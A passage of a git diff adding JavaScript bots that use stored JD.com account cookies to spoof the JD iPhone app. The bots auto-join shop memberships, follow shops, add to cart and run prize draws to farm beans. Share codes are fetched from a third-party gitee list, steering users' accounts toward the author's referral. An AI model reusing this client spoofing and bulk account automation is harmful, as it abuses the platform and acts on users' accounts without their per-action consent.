+ cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_women.js b/backUp/jd_lzdz1_women.js new file mode 100644 index 0000000..a775c89 --- /dev/null +++ b/backUp/jd_lzdz1_women.js @@ -0,0 +1,598 @@ +/* +品质女装 年终狂欢 + +https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=dzkbblntbt20211101A&shareUuid=0f38ece139354e3e9b849034d3c6b6fd + +默认执行脚本。如果需要不执行 +环境变量 NO_RUSH=false +*/ +const $ = new Env("品质女装 年终狂欢"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let isRush = true; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +if (process.env.NO_RUSH && process.env.NO_RUSH != "") { + isRush = process.env.NO_RUSH; +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + + authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_women.json') + if(authorCodeList === '404: Not Found'){ + authorCodeList = [ + '0f38ece139354e3e9b849034d3c6b6fd', + ] + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = 'dzkbblntbt20211101A' + $.activityShopId = '1000007653' + $.activityUrl = `https://lzdz1-isv.isvjd.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + if (isRush === true) { + console.log("未检测到不执行环境变量,执行任务") + await rush(); + } else { + console.log("检测到不执行环境变量,退出任务,环境变量 NO_RUSH") + break + } + await $.wait(3000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function rush() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> "+$.authorCode) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + if ($.index === 1) { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + } else { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + } + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + $.log("->关注店铺") + if ($.shopTask) { + if (!$.shopTask.allStatus) { + await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) + } else { + $.log(" >>>已经关注过了\n") + await $.wait(2000) + return + } + } else { + $.log("没有获取到对应的任务。\n") + } + $.log("->->->> 加入店铺会员") + if ($.openCardStatus) { + for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { + $.log("模拟上报访问记录") + await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000004065&pageId=dz20211013skcnurdk11jhdue84752hp&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) + await $.wait(2000) + } + t1TaskList = [] + $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) + t2TaskList = [] + $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) + if (t1TaskList.length < 1) { + console.log(" >>>已经完成入会任务") + + } else { + for (const vo of t1TaskList) { + $.log(` >>>去加入${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + for (const vo of t2TaskList) { + $.log(` >>>${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + } + + await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) + + } else { + $.log("没有获取到对应的任务。\n") + } + $.log("->->->> 加购物车") + await task("dz/openCard/saveTask", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&type=2&taskValue=100025232454`) + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'wxActionCommon/getUserInfo': + break; + case 'dz/openCard/activityContent': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actorUuid + console.log(ownCode) + } + $.actorUuid = data.data.actorUuid; + $.skuTask = data.data.addSku; + $.shopTask = data.data.followShop; + } else { + $.log("活动已经结束"); + } + break; + case 'dz/openCard/checkOpenCard': + $.openCardStatus = data.data; + break; + case 'dz/openCard/saveTask': + console.log(data.data.addBeanNum) + break; + case 'dz/openCard/saveTask': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + case 'dz/openCard/startDraw': + if (data.data.drawOk) { + switch (data.data.drawInfo.type) { + case 6: + $.bean += data.data.drawInfo.beanNum; + $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) + break; + default: + if ($.isNode()) { + await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } else { + $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } + break; + } + } + break; + case 'crm/pageVisit/insertCrmPageVisit': + $.log("==> 上报成功") + + case 'dz/openCard/followShop': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 